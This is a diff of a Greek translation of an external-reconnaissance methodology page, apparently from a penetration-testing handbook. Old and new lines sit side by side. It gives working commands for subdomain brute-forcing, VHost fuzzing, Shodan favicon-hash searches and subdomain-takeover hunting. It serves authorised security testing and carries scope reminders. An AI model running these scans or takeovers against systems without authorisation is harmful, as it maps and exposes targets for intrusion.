Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\ Μια επιλογή είναι να επισκεφθείτε [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**. Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
> Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς να βρούμε τα περιουσιακά τους στοιχεία. > Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας καταλάβουμε πώς να βρούμε τα περιουσιακά τους στοιχεία.
### **ASNs** ### **ASNs**
Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανάθεσης Αριθμών Διαδικτύου (IANA)**.\ Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Κατανομής Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς. Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\ Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
@ -97,7 +96,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\ Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\
Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.** **Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε ένα νέο τομέα.**
### **Trackers** ### **Trackers**
@ -114,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon** ### **Favicon**
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς με τον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Ορίστε πώς να το χρησιμοποιήσετε: Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς με τον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -123,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας. Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**: Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
Αυτός είναι ο τρόπος για να **υπολογίσετε το hash του favicon** ενός ιστότοπου: Αυτός είναι ο τρόπος με τον οποίο μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -140,13 +139,13 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}") print(f"{url} : {fhash}")
return fhash return fhash
``` ```
### **Πνευματικά Δικαιώματα / Μοναδική αλυσίδα** ### **Πνευματικά Δικαιώματα / Μοναδική συμβολοσειρά**
Αναζητήστε μέσα στις ιστοσελίδες **αλυσίδες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλυσίδα πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή την αλυσίδα σε **google**, σε άλλους **πλοηγούς** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"` Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **συμβολοσειρά πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη συμβολοσειρά σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
### **Χρόνος CRT** ### **Χρόνος CRT**
Είναι κοινό να υπάρχει μια εργασία cron όπως Είναι κοινό να έχετε μια εργασία cron όπως
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
@ -160,7 +159,7 @@ return fhash
### **Passive Takeover** ### **Passive Takeover**
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**. Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλάβετε κάποιους υποτομείς**.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν. [**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
@ -172,7 +171,7 @@ return fhash
Όπως ήδη γνωρίζετε το όνομα της οργάνωσης που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες διακομιστές για νέους απροσδόκητους τομείς στο πιστοποιητικό TLS. Όπως ήδη γνωρίζετε το όνομα της οργάνωσης που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες διακομιστές για νέους απροσδόκητους τομείς στο πιστοποιητικό TLS.
Μπορείτε να αποκτήσετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). Μπορείτε να αποκτήσετε το **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder** **Assetfinder**
@ -180,13 +179,11 @@ return fhash
### **Αναζητώντας ευπάθειες** ### **Αναζητώντας ευπάθειες**
Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί κάποιον τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία. Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία να **χρησιμοποιεί κάποιον τομέα** αλλά να **έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
&#xNAN;_&#x4E;ote ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._ &#xNAN;_&#x4E;ote ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._
## Υποτομείς ## Υποτομείς
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλους τους τομείς που σχετίζονται με τις εταιρείες. > Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλους τους τομείς που σχετίζονται με τις εταιρείες.
@ -326,7 +323,7 @@ python3 DomainTrail.py -d example.com
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** κάνοντας brute-force στους DNS servers χρησιμοποιώντας πιθανά ονόματα υποτομέων. Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** κάνοντας brute-force στους DNS servers χρησιμοποιώντας πιθανά ονόματα υποτομέων.
Για αυτή την ενέργεια θα χρειαστείτε κάποιες **κοινές λίστες λέξεων υποτομέων όπως**: Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων υποτομέων όπως**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό brute force, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου. - [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό bruteforce, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -356,20 +353,20 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force ονόματα τομέα ασύγχρονα. - [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να επιτεθεί σε ονόματα τομέα ασύγχρονα.
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### Δεύτερος Γύρος Brute-Force DNS ### Δεύτερος Γύρος Brute-Force DNS
Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμη περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό: Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμα περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές. - [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των τομέων και υποτομέων, δημιουργεί παραλλαγές. - [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των τομέων και υποτομέων, δημιουργεί παραλλαγές.
- Μπορείτε να αποκτήσετε τις παραλλαγές goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - Μπορείτε να αποκτήσετε τις παραλλαγές του goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
@ -382,15 +379,15 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). - [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. - [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε έναν τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
#### Δημιουργία έξυπνων παραλλαγών #### Έξυπνη γενιά παραλλαγών
- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς. - [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς.
```bash ```bash
@ -406,13 +403,17 @@ echo www | subzuf facebook.com
Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου: Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} {{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Εικονικοί Φιλοξενούμενοι** ### **VHosts / Εικονικοί Φιλοξενούμενοι**
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή τη διεύθυνση IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή τη διεύθυνση IP**. Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή την IP**.
#### OSINT #### OSINT
@ -420,7 +421,7 @@ echo www | subzuf facebook.com
**Brute Force** **Brute Force**
Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένο σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να το brute force: Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -445,12 +446,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
``` ```
### **Buckets Brute Force** ### **Buckets Brute Force**
Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ Κατά την αναζήτηση για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/). Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανά ονόματα bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorization** ### **Monitorization**
Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο το κάνει. Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Looking for vulnerabilities** ### **Looking for vulnerabilities**
@ -462,14 +463,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
## IPs ## IPs
Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες περιοχές IP, domains και subdomains**.\ Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες IP ranges, domains και subdomains**.\
Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις περιοχές** και για τα **domains/subdomains (DNS queries).** Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις ranges** και για τα **domains/subdomains (DNS queries).**
Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/) - [**https://securitytrails.com/**](https://securitytrails.com/)
Μπορείτε επίσης να ελέγξετε για domains που δείχνουν σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host) Μπορείτε επίσης να ελέγξετε για domains που δείχνουν σε μια συγκεκριμένη IP διεύθυνση χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Looking for vulnerabilities** ### **Looking for vulnerabilities**
@ -479,21 +480,21 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
## Web servers hunting ## Web servers hunting
> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers. > Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε IP ranges, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο. Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο). Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
